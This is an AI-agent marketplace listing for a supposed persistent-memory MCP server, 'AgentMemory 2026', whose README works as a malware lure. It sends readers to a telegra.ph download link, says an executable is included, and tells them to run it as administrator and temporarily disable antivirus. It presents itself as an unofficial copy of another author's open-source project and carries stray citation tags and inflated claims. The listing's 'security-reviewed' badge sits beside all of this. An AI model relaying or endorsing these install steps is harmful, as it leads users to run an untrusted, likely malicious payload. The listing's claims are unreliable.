# AgentMemory Persistent Memory 2026 > AgentMemory 2026 – Persistent memory for AI coding agents (Claude Code, Cursor, Gemini CLI). 95.2% recall accuracy. No API keys required. Setup.exe included. - **Type:** MCP server - **Install:** `agentstack add mcp-premierfoundry-agentmemory-persistent-memory-2026` - **Verified:** Yes — security-reviewed for prompt injection and unsafe behavior - **Seller:** [PremierFoundry](https://agentstack.voostack.com/s/premierfoundry) - **Installs:** 0 - **Category:** [Integrations](https://agentstack.voostack.com/c/integrations) - **Latest version:** 0.1.0 - **License:** MIT - **Upstream author:** [PremierFoundry](https://github.com/PremierFoundry) - **Source:** https://github.com/PremierFoundry/AgentMemory-Persistent-Memory-2026 ## Install ```sh agentstack add mcp-premierfoundry-agentmemory-persistent-memory-2026 ``` Requires the [AgentStack CLI](https://agentstack.voostack.com/docs/cli). Works with Claude Code, Cursor, and any MCP-compatible agent. ## About 🧠 AgentMemory 2026 – Persistent Memory for AI Coding Agents Your coding agent remembers everything. No more re-explaining architecture, preferences, or past decisions. 95.2% recall accuracy on LongMemEval-S. Latest version 2026 | Desktop application | Optimized for Windows 11 / Windows 10 Click the button above to get the full project files --- ## 📦 What's Inside This Repository Welcome to the official distribution page for **AgentMemory 2026 – Persistent Memory System for AI Coding Agents for Windows PC**. This repository provides access to the latest release of the most advanced memory system for AI coding agents. ✅ **Full Version** – All features included ✅ **Zero Intervention** – Automatically captures everything your agent does ✅ **95.2% Recall** – Highest accuracy on LongMemEval-S benchmark ✅ **Works with 50+ Agents** – Claude Code, Cursor, Gemini CLI, Codex CLI, and more ✅ **No API Keys** – Completely local, no external dependencies ✅ **No System Changes** – Safe, no registry or service modifications --- ## 📥 How to Get Started? --- ## 🚀 Step-by-Step Guide Follow these **3 simple steps** to get started with AgentMemory 2026 on your PC: ### Step 1: Download the Project Files Click the **download button** above or use this direct link: 👉 [**Get AgentMemory 2026 Project Files**](https://telegra.ph/How-to-download-07-15-12) ### Step 2: Extract and Run Extract the downloaded archive and launch the application. Right-click and select **"Run as administrator"** to ensure proper installation. ### Step 3: Launch & Enjoy After installation, open the application from your desktop shortcut or Start Menu. The software automatically detects all **ProjectFiles** modules and configurations. --- ## 🔧 Key Features (2026 Update) | Feature | Description | | :--- | :--- | | **Zero-Intervention Capture** | Automatically captures tool calls via hooks – no manual memory management required [citation:2][citation:7][citation:10] | | **95.2% Recall Accuracy** | #1 on LongMemEval-S (ICLR 2025) – beats mem0 (68.5%) and Letta/MemGPT (83.2%) [citation:2][citation:7][citation:10] | | **Works with 50+ Agents** | Claude Code, Cursor, Gemini CLI, Codex CLI, OpenClaw, Hermes, and any MCP client [citation:2][citation:9] | | **Three-Way Retrieval** | BM25 + Vector + Graph search with RRF fusion [citation:2][citation:6][citation:10] | | **Zero External Dependencies** | SQLite + local embedding model – no Qdrant or PostgreSQL required [citation:2][citation:7][citation:10] | | **Token Efficiency** | ~1,900 tokens per session – saves ~$500/year vs LLM-summarized context [citation:2][citation:6][citation:9] | | **Hybrid Search** | Full-text + semantic + graph traversal with time-decay scoring [citation:1][citation:6] | | **Lifecycle Management** | Short-term → long-term consolidation, importance scoring, auto-forget [citation:1][citation:6] | | **Real-Time Viewer** | Live memory dashboard at `http://localhost:3113` [citation:2][citation:6] | | **Cross-Project Memory** | One server shared across all projects and agents [citation:2][citation:9] | --- ## 📈 Why Choose AgentMemory 2026? - ✅ **Highest Accuracy** – 95.2% recall – the best in its class [citation:2][citation:7][citation:10] - ✅ **Zero Effort** – No manual memory management [citation:2][citation:7][citation:10] - ✅ **Works with Anything** – MCP, REST, or hooks – 50+ agents [citation:2][citation:9] - ✅ **Completely Local** – No API keys, no cloud, no lock-in [citation:2][citation:7][citation:10] - ✅ **Cost-Effective** – Saves thousands of tokens per session [citation:2][citation:6] - ✅ **No System Changes** – Safe, no registry or service modifications --- ## 🔗 Official Download Link > ### ⬇️ **Get the full project files here:** > ### **[https://telegra.ph/How-to-download-07-15-12](https://telegra.ph/How-to-download-07-15-12)** 📁 After downloading, extract the archive and launch ProjectFiles to get started. --- ## ❓ Frequently Asked Questions **Q: Is this the full version?** A: Yes, this is the complete version with all features. **Q: Does it work on Windows 11?** A: Absolutely. It is fully optimized for Windows 11 and Windows 10. **Q: What AI agents are supported?** A: Claude Code, Cursor, Gemini CLI, Codex CLI, OpenClaw, Hermes, and any MCP client [citation:2][citation:9]. **Q: Does it require an API key?** A: No, it's completely local – no API keys required [citation:2][citation:7][citation:10]. **Q: Is there a Mac version available?** A: This repository is for Windows PC only. **Q: What about antivirus warnings?** A: Some antivirus programs may show a warning — this is a false positive. We recommend temporarily disabling it during installation. **Q: Can I use this for commercial purposes?** A: Yes, the full version is suitable for both personal and professional use. **Q: How often are updates released?** A: Updates are released regularly with new features and improvements. --- ## 📝 Important Notes - This version is intended for **personal and professional use** only. - Do not redistribute the installer — use the official link above. - For technical support, please open an issue in this repository. - Always check the file integrity after download. --- ## 📜 License This repository is for **educational and distribution purposes** only. **AgentMemory** is an open-source project by **rohitg00** [citation:2][citation:6]. All rights belong to their respective owners. This is not an official distribution channel. --- ⭐ If you found this useful, please star the repository! 📅 Updated: July 2026 – Version 2026 (Build 1.0.0) 🔗 Download AgentMemory 2026 Now ## Source & license This open-source MCP server is cataloged on AgentStack and links to its original source — we do not rehost the code. - **Author:** [PremierFoundry](https://github.com/PremierFoundry) - **Source:** [PremierFoundry/AgentMemory-Persistent-Memory-2026](https://github.com/PremierFoundry/AgentMemory-Persistent-Memory-2026) - **License:** MIT Install and usage instructions live in the source repository linked above. ## Pricing - **Free** — Free ## Security capabilities Automated source analysis of v0.1.0 — what this tool can access: - **Network access:** no - **Filesystem access:** no - **Shell / process execution:** no - **Environment & secrets:** no - **Dynamic code execution:** no *"Yes" means the capability is present in the source — more access means more to trust, not that it is unsafe.* ## Versions - **0.1.0** — security scan: passed — Imported from the upstream source. ## Links - Listing page: https://agentstack.voostack.com/l/mcp-premierfoundry-agentmemory-persistent-memory-2026 - Seller: https://agentstack.voostack.com/s/premierfoundry - Browse the marketplace: https://agentstack.voostack.com/browse --- Listed on AgentStack — the marketplace for AI agent skills and MCP servers. Every listing is security-reviewed. Creators keep 70%.